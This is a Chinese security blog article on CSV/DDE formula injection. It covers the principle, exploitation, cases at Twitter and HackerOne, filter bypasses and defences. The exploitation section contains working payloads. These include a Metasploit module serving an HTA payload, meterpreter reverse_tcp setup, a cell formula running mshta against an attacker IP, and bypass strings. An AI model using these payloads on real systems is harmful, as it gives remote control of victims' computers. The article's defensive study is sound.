Web安全-浅析CSV注入漏洞的原理及利用

简介: Web安全-浅析CSV注入漏洞的原理及利用

文章目录
漏洞简介
漏洞原理
漏洞利用
命令执行
钓鱼攻击
反弹shell
漏洞实例
Twitter网站
Hackerone
漏洞挖掘
漏洞防御
漏洞简介
CSV 注入(CSV Injection)漏洞通常会出现在有导出文件 (.csv/.xls) 功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL 会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。

漏洞原理
人们通常认为 CSV 或 xls 文件中包含的文本不会有任何安全风险,这是比较大的一个误区。

创建一个 Excel 文件,将其中一格内容修改为 =10+20,保存之后看到如下结果:

可以看到值变成了30,说明加号被当做运算执行了(由于第一个字符是=,它以一个表达式的形式被处理)。当然,不止是+号能执行运算,=、-、@这样的符号也会被 excel 解析为公式。

DDE(Dynamic Data Exchange)

DDE 是 Windows 下进程间通信协议,是一种动态数据交换机制,使用 DDE 通讯需要两个 Windows 应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE 支持 Microsoft Excel,LibreOffice 和 Apache OpenOffice。 Excel、Word、Rtf、Outlook 都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含 DDE 公式的 CSV 文件,那么在打开该文件时,Excel 就会尝试执行外部应用。

调用 DDE 需要在文件->选项->信任中心->信任中心设置->外部内容中开启:

默认不勾选 “启用动态数据交换服务器启动(不推荐)” 选项即可防止 DDE 启动外部应用。较老的版本如 office 2016 MSO(16.0.4266.1001)无该选项,因此无法禁止执行外部程序。

漏洞利用
命令执行
由于表达式就是可以执行的代码,所以假如我们把输入内容修改为:

=1+cmd|' /C calc'!A0
1
点击保存,然后再次打开 excel 文件,会看到如下提示:

点击更新,新的弹窗提醒继续点“是”:

此时即可看到命令被执行,成功调起本地计算机程序:

结合上述知识,CSV 注入漏洞的攻击路线就很清晰了:

业务系统接受用户输入并导出为 CSV ——> 恶意用户通过界面输入 Payload——> 受害者下载文件并在PC运行 ——> 受害者PC被攻击。

因此 DDE 注入攻击是一种攻击源来自网站,但最终目标是普通用户 PC 的一种攻击。

钓鱼攻击
如果在表格中插入的是如下 Payload:

=HYPERLINK("https://tr0e.github.io/","优惠券领取!")
1
用户点击链接时,系统会调用浏览器访问这个网站。

这个看着虽然有点鸡助(需要受害者手动点击链接),但这个公式不会触发警告。

反弹shell
攻击机 测试机
kali windows 10
Kali 上复制以下 ruby 代码到 /usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb 目录:

#

This module requires Metasploit: https://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

#

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end

def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
接下来在 Kali 执行以下操作:

打开pg数据库:

service postgresql start

启动msf:

msfconsole
1
2
3
4
msfconsole 操作:

重置数据库

reload_all

查询新建msh_shell模块

search msh_shell

加载 msh_shell模块

use exploit/windows/smb/msh_shell

设置监听payload,设置ip等

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit
1
2
3
4
5
6
7
8
9
10
11
最后在 Win10 上新建一个 Excel 表格,将以下 Payload 插入单元格:

+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0
1
如下图:

保存后重新打开表格,主机成功上线:

漏洞实例
CSV 注入漏洞相关的 CVE 漏洞:CVE-2018-10504、CVE-2019-15092。

Twitter网站
Twitter 导出数据处存在 DDE 注入。Twitter 用户发帖,输入:

界面导出数据处,导出 csv 文件并在 Excel 中查看:

若输入Payload:=1+cmd|' /C calc'!A0再次执行,弹出计算器。

Hackerone
Hackerone 报告导出处存在 CSV 注入漏洞

这是对于 Hackerone 过滤的一个绕过,网站后台对于等号=之前新增单引号‘以防止公式执行。但在报告导出功能处参数 title 输入%0A-2+3+cmd|' /C calc'!D2:

%0A被解析为换行符,使得 Payload 正常执行:

Hackerone 过滤绕过

这是对后台过滤的第二次绕过,在等号前加一个分号;可绕过;=cmd|' /C calc'!A0:

Excel 识别并解析分隔符;,将数据拆分并执行:

漏洞挖掘
漏洞挖掘思路

此漏洞特征较明显,因此思路简单:

关注系统中是否有导出为 csv 或 xls 表格的功能,一般存在于信息统计,日志导出等功能处;
确定导出的内容是否用户可控:可能在界面可直接进行编辑/新增;通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;
输入处写入测试脚本=1+1,导出后查看表格内容是否解析;
存在过滤,尝试绕过,最后进行 OS 执行等深入利用。
漏洞防御的绕过技巧

根据案例和挖掘经验,总结常用的绕过 Payload 有:

1、在等于号被过滤时,可以通过运算符+-的方式绕过;

-3+2+cmd |’ /C calc’ !A0
1
2、参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:

%0A-3+3+cmd|' /C calc'!D2
1
3、导出文件为 csv 时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行:

;-3+3+cmd|' /C calc'!D2
1
4、其他常用 Payload:

@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://evil.com")
1
2
漏洞防御
这种攻击很难缓解,并且从许多漏洞赏金计划中都明确禁止了这种攻击。要对其进行修复,请确保没有任何单元格以下列任何字符开头:

等于(“ =”)
加号(“ +”)
减号(“-”)
在 (”@”)
1
2
3
4
开发人员可以在包含此类字符的单元格的开头添加撇号(’),添加撇号(’)会告诉 excel 该单元格不包含公式。

相对完整的防御措施如下:

1)一般的防御手段为:在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险;

2)更好的防御手段为,根据业务需求控制用户输入为字母数字字符,或黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/124524002

目录
相关文章
|
11天前
|
弹性计算 人工智能 架构师
阿里云携手Altair共拓云上工业仿真新机遇
2024年9月12日,「2024 Altair 技术大会杭州站」成功召开,阿里云弹性计算产品运营与生态负责人何川,与Altair中国技术总监赵阳在会上联合发布了最新的“云上CAE一体机”。
阿里云携手Altair共拓云上工业仿真新机遇
|
8天前
|
机器学习/深度学习 算法 大数据
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
2024“华为杯”数学建模竞赛,对ABCDEF每个题进行详细的分析,涵盖风电场功率优化、WLAN网络吞吐量、磁性元件损耗建模、地理环境问题、高速公路应急车道启用和X射线脉冲星建模等多领域问题,解析了问题类型、专业和技能的需要。
2520 17
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
|
7天前
|
机器学习/深度学习 算法 数据可视化
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
2024年中国研究生数学建模竞赛C题聚焦磁性元件磁芯损耗建模。题目背景介绍了电能变换技术的发展与应用,强调磁性元件在功率变换器中的重要性。磁芯损耗受多种因素影响,现有模型难以精确预测。题目要求通过数据分析建立高精度磁芯损耗模型。具体任务包括励磁波形分类、修正斯坦麦茨方程、分析影响因素、构建预测模型及优化设计条件。涉及数据预处理、特征提取、机器学习及优化算法等技术。适合电气、材料、计算机等多个专业学生参与。
1522 14
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
|
3天前
|
存储 关系型数据库 分布式数据库
GraphRAG:基于PolarDB+通义千问+LangChain的知识图谱+大模型最佳实践
本文介绍了如何使用PolarDB、通义千问和LangChain搭建GraphRAG系统,结合知识图谱和向量检索提升问答质量。通过实例展示了单独使用向量检索和图检索的局限性,并通过图+向量联合搜索增强了问答准确性。PolarDB支持AGE图引擎和pgvector插件,实现图数据和向量数据的统一存储与检索,提升了RAG系统的性能和效果。
|
9天前
|
编解码 JSON 自然语言处理
通义千问重磅开源Qwen2.5,性能超越Llama
击败Meta,阿里Qwen2.5再登全球开源大模型王座
571 14
|
1月前
|
运维 Cloud Native Devops
一线实战:运维人少,我们从 0 到 1 实践 DevOps 和云原生
上海经证科技有限公司为有效推进软件项目管理和开发工作,选择了阿里云云效作为 DevOps 解决方案。通过云效,实现了从 0 开始,到现在近百个微服务、数百条流水线与应用交付的全面覆盖,有效支撑了敏捷开发流程。
19282 30
|
9天前
|
人工智能 自动驾驶 机器人
吴泳铭:AI最大的想象力不在手机屏幕,而是改变物理世界
过去22个月,AI发展速度超过任何历史时期,但我们依然还处于AGI变革的早期。生成式AI最大的想象力,绝不是在手机屏幕上做一两个新的超级app,而是接管数字世界,改变物理世界。
479 49
吴泳铭:AI最大的想象力不在手机屏幕,而是改变物理世界
|
1月前
|
人工智能 自然语言处理 搜索推荐
阿里云Elasticsearch AI搜索实践
本文介绍了阿里云 Elasticsearch 在AI 搜索方面的技术实践与探索。
18839 20
|
1月前
|
Rust Apache 对象存储
Apache Paimon V0.9最新进展
Apache Paimon V0.9 版本即将发布,此版本带来了多项新特性并解决了关键挑战。Paimon自2022年从Flink社区诞生以来迅速成长,已成为Apache顶级项目,并广泛应用于阿里集团内外的多家企业。
17528 13
Apache Paimon V0.9最新进展
|
2天前
|
云安全 存储 运维
叮咚!您有一份六大必做安全操作清单,请查收
云安全态势管理(CSPM)开启免费试用
364 4
叮咚!您有一份六大必做安全操作清单,请查收